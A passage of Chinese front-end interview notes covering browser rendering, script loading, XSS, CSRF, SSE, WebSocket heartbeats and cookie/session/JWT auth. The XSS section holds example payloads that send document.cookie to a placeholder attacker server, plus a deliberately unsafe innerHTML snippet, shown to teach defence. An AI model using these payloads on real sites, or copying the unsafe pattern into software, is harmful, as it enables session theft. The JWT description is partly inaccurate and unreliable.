- CSS tokens: Selector(body), Declaration(color: red), Declaration(font-size: 14px), Selector(.box), Declaration(width: 200px), Declaration(height: 100px)
- 解析为规则后构建出的 CSSOM(示意)如下:
textCSSOM └─ stylesheet ├─ rule: selector: body │ ├─ declaration: color: red │ └─ declaration: font-size: 14px └─ rule: selector: .box ├─ declaration: width: 200px └─ declaration: height: 100px说明:CSSOM 表示解析后的样式规则树,浏览器在构建渲染树时会将 CSSOM 与 DOM 结合用于计算最终样式(包含级联、继承和特定性处理)。
19、根据 DOM 树和 CSSOM 构建渲染树(Render Tree):
- 输入:
DOM(节点树)与CSSOM(解析后的规则/声明)。 - 选择可见节点:跳过不会参与渲染的 DOM(例如
display: none的节点、<meta>、<script>等);visibility: hidden会保留节点但不可见。 - 匹配样式并计算值:对每个要渲染的 DOM 节点进行选择器匹配 → 级联(!important,选择器权重)→ 计算指定值(specified value)→ 计算使用值/最终值(computed/used value,涉及百分比计算和继承)。若属性可继承且元素没有指定值,则在此阶段(computed value)从父元素获取已计算值。
- 生成渲染盒子(formatting objects):根据
display/position/float等属性,将节点转换为格式化对象(block box、inline box、anonymous box、replaced element 等)。position: absolute/fixed、浮动等会改变盒子在文档流中的布局处理方式。 - 处理伪元素与内联行盒:为
::before/::after等伪元素创建渲染节点;内联内容按行盒(line boxes)和匿名容器组织。 - 堆叠上下文与绘制顺序:在渲染树上计算堆叠上下文(stacking contexts)和绘制顺序(z-order),决定后续 paint 的合成顺序。
- 输出:渲染树作为 layout(排版/尺寸计算)和 paint(绘制)阶段的输入;样式或结构变化会触发重排(reflow)或重绘(repaint)。
补充说明:浏览器的页面渲染是“渐进式”的,不是等所有资源都完全加载完才一次性绘制。HTML 解析过程中,只要某一部分 DOM 已经生成,并且对应的 CSS 也已经进入 CSSOM,浏览器就可以先对这一部分执行 layout 和 paint(会影响FCP(首屏渲染时间)指标,减少白屏事件);如果外链 CSS 还在加载,或者样式表尚未完成解析,那么相关内容就会延后绘制,或者先以不完整的样式状态显示(后续再重排和重绘)。
示意(高层次):
DOM + CSSOM -> 匹配与计算样式 -> 渲染树 (Render Tree) -> layout -> paint
20、js解析如下:
浏览器创建Document对象并解析HTML,将解析到的元素和⽂本节点添加到⽂档中,此时document.readystate为loading
HTML解析器遇到没有async和defer的script时,将他们添加到⽂档中,然后执⾏⾏内 或外部脚本。这些脚本会同步执⾏,并且在脚本下载和执⾏时解析器会暂停。这样就可以⽤document.write()把⽂本插⼊到输⼊流中。同步脚本经常简单定义函数和注册事件处理程序,他们可以遍历和操作script和他们之前的⽂档内容
当解析器遇到设置了async属性的script时,开始下载脚本并继续解析⽂档。脚本会在它 下载完成后尽快执⾏,但是解析器不会停下来等它下载。异步脚本禁止使⽤ document.write(),它们可以访问⾃⼰script和之前的⽂档元素
当⽂档完成解析,document.readState变成interactive
所有defer脚本会按照在⽂档出现的顺序执⾏,延迟脚本能访问完整⽂档树,禁止使⽤ document.write()
浏览器在Document对象上触发DOMContentLoaded事件
此时⽂档完全解析完成,浏览器可能还在等待如图⽚等内容加载,等这些内容完成载⼊ 并且所有异步脚本完成载⼊和执⾏,document.readState变为complete,window触发 load事件
21、显示⻚⾯(HTML解析过程中会逐步显示⻚⾯)
XSS(Cross-Site Scripting) 跨站脚本攻击
主要是因为前端对用户的输入没有进行校验,有三种类型
- 存储型 XSS,代码会长期存储在服务器
示例:攻击者在某网站的 “评论框” 中,提交一段伪装成正常评论的恶意代码:
输入<script>
// 恶意代码:窃取当前用户的 Cookie(包含 SessionID)并发送给攻击者服务器
var cookie = document.cookie;
fetch('https://攻击者服务器/steal?cookie=' + cookie);
</script>网站后端未过滤这段代码,直接将其当作 “正常评论” 存入数据库。其他用户访问该文章的评论区时,服务器从数据库读取评论,生成 HTML 并返回给用户浏览器:
<div class="comment">回显<script>var cookie=document.cookie;fetch('https://攻击者服务器/steal?cookie='+cookie);</script></div>用户浏览器解析 HTML 时,会执行 <script> 标签中的恶意代码,将自己的 Cookie发送给攻击者;攻击者拿到 Cookie 后,可冒充该用户登录网站,执行转账、修改密码等操作。
- 反射型 XSS
攻击者注入的恶意代码不会被服务器存储,而是通过 “URL 参数、表单提交” 等方式,让服务器将恶意代码 “临时反射” 到页面中 —— 只有点击了攻击者构造的 “恶意链接” 的用户才会触发攻击
攻击者伪造了如下的url
https://目标网站/search?keyword=<script>alert('你的Cookie被偷了!');fetch('https://攻击者服务器/steal?cookie='+document.cookie)</script>
// 从 URL 获取 keyword
const keyword = new URLSearchParams(window.location.search).get('keyword')
// 直接回显!高危!
document.body.innerHTML = `<div>${keyword}</div>`当用户点击该url的时候,前端有可能依赖keyword字段,导致=后的内容被执行,cookie被盗取
vue中的{}和react中的是安全的,因为它们会对输入进行转义处理,防止恶意代码被执行
CSRF(Cross-Site Request Forgery) 跨站请求伪造
用户在一个网站(a.com)登录后,网站的cookie被储存在硬盘中。
此时登陆了一个钓鱼网站(b.com),钓鱼网站中存在访问a.com的链接,访问a.com时会自动携带同域下的cookie,导致伪装了用户的登录态
解决方法:
- 后端针对每个页面给出随机token,前端需要携带此token发送请求(即必须有实际页面访问才可以进行操作)
- 后端配置cookie的SameSite=Strict/Lax 属性,限制 Cookie 仅在 “同源请求” 或 “用户主动跳转的跨域请求” 中携带,阻止自动发起的跨域请求携带 Cookie。这个方法存在一定的兼容性问题
- 验证请求来源:检查 HTTP 头中的
Referer或Origin字段,确保请求来自受信任的域名(origin一般是请求来自的域名,referer可以具体到路由信息和参数)。但是这两个字段并不是每次请求都会携带,不能完全依赖(会根据浏览器环境等因素产生差异) - 最安全的方法就是不使用cookie进行身份验证,而是使用
Authorization头携带 Token(如 JWT),并且前端通过fetch或XMLHttpRequest发起请求时,不设置credentials选项,这样浏览器就不会自动携带 Cookie,从而避免 CSRF 攻击
SSE 流式输出
SSE 允许服务器主动向浏览器或其他客户端推送事件。SSE的设计主要是为了简化从服务器到客户端的单向实时数据流。
SSE 基于 HTTP 协议,使用标准的HTTP请求来开始连接。首先客户端发起标准的 HTTP GET 请求开始一个SSE连接。请求的头部通常包含Accept: text/event-stream,这告诉服务器客户端希望开启一个SSE连接。服务器响应这个请求,并保持连接打开,响应的 Content-Type 被设置为text/event-stream。随后,服务器可以发送形式为纯文本的事件流。每个事件以一个可选的事件名和必须的数据字段组成。事件以data:开始,后跟具体的消息数据,事件之间以两个换行符\n\n分隔。整个过程中 HTTP 连接保持打开状态,服务器可以随时发送新事件,客户端在接收到每个事件后处理数据。SSE连接一旦建立,服务器可以持续不断地发送数据更新到客户端,直到连接被关闭。SSE可以自动重连(浏览器完成),默认重试间隔为3s,连续重连失败会采用指数退避” 策略(如第 1 次等 3 秒,第 2 次等 6 秒,第 3 次等 12 秒,上限通常为 30 秒),避免无效重试;
SSE只支持GET请求,无法自定义header内容(头部信息配置由new EventSource()时自动配置,但可以携带cookie)
使用方法
// 1. 初始化 SSE 连接,指向后端 SSE 接口
const sse = new EventSource('http://localhost:80/api/sse');
// 2. 监听“默认类型数据”
sse.onmessage = (e) => {
console.log('收到默认消息:', e.data); // e.data 是服务器推送的字符串数据
// 业务逻辑:展示消息到页面
TODO
};
// 3. 页面卸载前关闭连接(避免内存泄漏)
window.addEventListener('beforeunload', () => {
if (sse) {
sse.close();
}
});Websocket
WebSocket 与 HTTP(80) 和 HTTPS(443) 使用相同的 TCP 端口
非加密的标识符是ws(对应http),加密的标识符是wss(对应https)
目的是为了在单个TCP连接上实现全双工通信
Websocket 和 http 的区别在于添加了新的 header 内容
// 请求头
GET /ws-endpoint HTTP/1.1
Host: example.com
Connection: Upgrade # 必须,标识协议升级
Upgrade: websocket # 必须,指定升级到WebSocket
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== # 必须,客户端随机生成
Sec-WebSocket-Version: 13 # 必须,版本协商
Sec-WebSocket-Protocol: chat # 可选,表示自己支持的数结构类型(可以是开发者定义)// 响应头
HTTP/1.1 101 Switching Protocols // 101表示协议已经切换成ws
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= # 服务器计算的验证值
Sec-WebSocket-Protocol: chat # 可选,用于指定传输的数据类型Sec-WebSocket-Key和Sec-WebSocket-Accept的作用是指,客户端发送一段随机的Sec-WebSocket-Key,ws服务器需要用专用的算法对其进行计算,将计算值返回给客户端,客户端通过同样的算法进行计算,来确保通信的服务器一定是正确的ws服务器
网络层面不会对 Sec-WebSocket-Protocol 进行格式的校验,需要前后端手动对数据格式进行校验。
// 前端如何发起一个ws连接
var ws = new WebSocket("wss://echo.websocket.org");
// 打开ws连接时触发
ws.onopen = function(evt) {
console.log("Connection open ...");
ws.send("Hello WebSockets!");
};
// 接受到ws返回信息的时候触发
ws.onmessage = function(evt) {
console.log( "Received Message: " + evt.data);
ws.close();
};
// ws关闭的时候触发
ws.onclose = function(evt) {
console.log("Connection closed.");
};Websocket的心跳机制
WebSocket 中的心跳机制(Heartbeat)是一种保活机制,用于检测客户端与服务器之间的连接是否仍然有效(避免连接因长时间无数据传输而被中间节点断开),同时确保双方能及时发现连接异常
什么情况下会发生意外断开连接:
- 中间节点超时:网络中的代理、防火墙或负载均衡器通常会设置 “空闲超时时间”(如 60 秒),如果连接长时间没有数据传输,会被自动断开;
- 网络波动:客户端或服务器可能因网络瞬间中断(如 WiFi 信号丢失)导致连接失效,但双方并未收到 “关闭通知”;
心跳机制通过定期发送 “无业务意义的探测消息”来验证连接状态,核心流程如下:
- 约定心跳格式:客户端和服务器提前约定心跳消息的格式(如 { "type": "heartbeat" }),与业务消息区分开;
- 定时发送心跳包: 通常由客户端主动发送(也可由服务器发起),每隔固定时间(如 30 秒)向服务器发送一个心跳包;
- 及时回复心跳响应: 服务器收到心跳包后,立即返回一个 “心跳响应”(如 { "type": "heartbeat_ack" });
- 检测超时: 客户端发送心跳包后,启动一个超时计时器(如 10 秒); 如果在超时前收到服务器的响应 → 确认连接正常,重置计时器,等待下一次发送; 如果超时未收到响应 → 判定连接失效,触发重连逻辑。
// 大概示例
// 创建WebSocket连接
const ws = new WebSocket('wss://example.com/chat');
// 心跳配置
const HEARTBEAT_INTERVAL = 30000; // 心跳发送间隔(30秒)
const HEARTBEAT_TIMEOUT = 10000; // 心跳超时时间(10秒)
let heartbeatTimer = null; // 发送心跳的定时器
let timeoutTimer = null; // 检测超时的定时器
// 连接建立后启动心跳
ws.onopen = function() {
console.log('连接已建立,启动心跳机制');
startHeartbeat();
};
// 收到消息时处理(区分业务消息和心跳响应)
ws.onmessage = function(evt) {
const data = JSON.parse(evt.data);
if (data.type === 'heartbeat_ack') {
// 收到心跳响应,重置超时计时器
console.log('收到心跳响应,连接正常');
resetTimeoutTimer();
} else {
// 处理业务消息
console.log('收到消息:', data);
}
};
// 连接关闭时清理定时器并尝试重连
ws.onclose = function() {
console.log('连接已关闭,停止心跳');
stopHeartbeat();
reconnect(); // 触发重连逻辑
};
// 启动心跳:定时发送心跳包
function startHeartbeat() {
// 每隔HEARTBEAT_INTERVAL发送一次心跳
heartbeatTimer = setInterval(() => {
if (ws.readyState === WebSocket.OPEN) {
console.log('发送心跳包');
ws.send(JSON.stringify({ type: 'heartbeat' }));
// 发送后启动超时检测
startTimeoutTimer();
}
}, HEARTBEAT_INTERVAL);
}
// 启动超时检测:如果超过HEARTBEAT_TIMEOUT未收到响应,则判定连接失效
function startTimeoutTimer() {
// 先清除之前的超时计时器,避免叠加
clearTimeout(timeoutTimer);
timeoutTimer = setTimeout(() => {
console.error('心跳超时,连接可能已失效');
ws.close(); // 主动关闭连接,触发onclose重连
}, HEARTBEAT_TIMEOUT);
}
// 重置超时计时器(收到心跳响应时调用)
function resetTimeoutTimer() {
clearTimeout(timeoutTimer);
}
// 停止心跳(连接关闭时调用)
function stopHeartbeat() {
clearInterval(heartbeatTimer);
clearTimeout(timeoutTimer);
}
// 重连逻辑(简单示例)
function reconnect() {
console.log('尝试重连...');
// 1秒后重新创建连接(实际可增加重试次数限制)
setTimeout(() => {
// 重新初始化WebSocket(此处简化处理,实际需重新绑定事件)
window.ws = new WebSocket('wss://example.com/chat');
}, 1000);
}协议底层还有ping/pong帧来保证连接的可靠性。
- 发送方->接收方 ping帧
- 接收方->发送方 pong帧
Websocket中控制帧有三种类型:关闭帧、ping帧、pong帧
大多数情况是后端(服务端)发送ping帧给前端(浏览器/客户端),前端返回pong帧。如果发送方在发送ping帧后一段时间内没有收到pong帧,则会主动断开连接,发送close帧
如果在连接正常的情况下,如果需要关闭Websocket连接,则需要双方都发送close帧
补充:ws除了第一次握手升级协议外,不再采用http协议,因此无法使用cookie(set-cookie是http/https专用),如果后续需要使用cookie,只能将token在请求体中配置或者直接添加到请求url中
Cookie、Session和Token
Cookie
- 存储位置:客户端浏览器
- 作用:自动随每次同域 HTTP 请求发送给服务器,常用于保存登录状态、个性化设置等
- 特点:可被前端 JS 读取和修改,容易被劫持,安全性较低。如果设置了Expires或Max-Age,cookie会被保存在硬盘中;如果没有设置过期时间,cookie会随着浏览器窗口的关闭而销毁(会话级cookie)。cookie可以通过设置
Secure属性来限制只能在HTTPS连接中发送,增强安全性;通过设置HttpOnly属性来禁止前端JS访问cookie,防止XSS攻击,但也会限制一些功能(如个性化设置等)。 - 补充:可以设置
http:only来禁止前端访问Cookie,但是这样就无法存储个性化设置等内容了
Session
- 存储位置:服务器端
- 作用:保存用户会话数据(如登录信息、购物车),客户端只保存 sessionId
- 特点:安全性高,数据不暴露给客户端,通常通过 Cookie 传递 sessionId。sessionId 类似一个key,后端通过 sessionId 来访问存储的信息
Token
- 存储位置:客户端(如 localStorage、sessionStorage、Cookie)
- 作用:标识和认证用户,常用于前后端分离、API 认证等场景
- 特点:无状态,服务器不保存会话,认证信息都在 token 内部,适合分布式系统
- PS: JWT(JSON Web Token)结构为Header.Payload.Signature 构成,Header中声明 Token 类型(typ: "JWT")和签名算法(如 alg: "HS256"),通过base64url编码。Payload中可以包含实际的用户信息,通过base64url编码(可被反解码,不能存敏感信息)。Signature为服务器签名,服务器会用私钥对编码后的Header和Payload进行加密签名(相当于私钥+加密算法),收到token的时候,会使用相同的算法和私钥进行解密,查看Signature是否一致,确保内容没有被篡改。最后的JWT格式为
base64url(header).base64url(payload).signature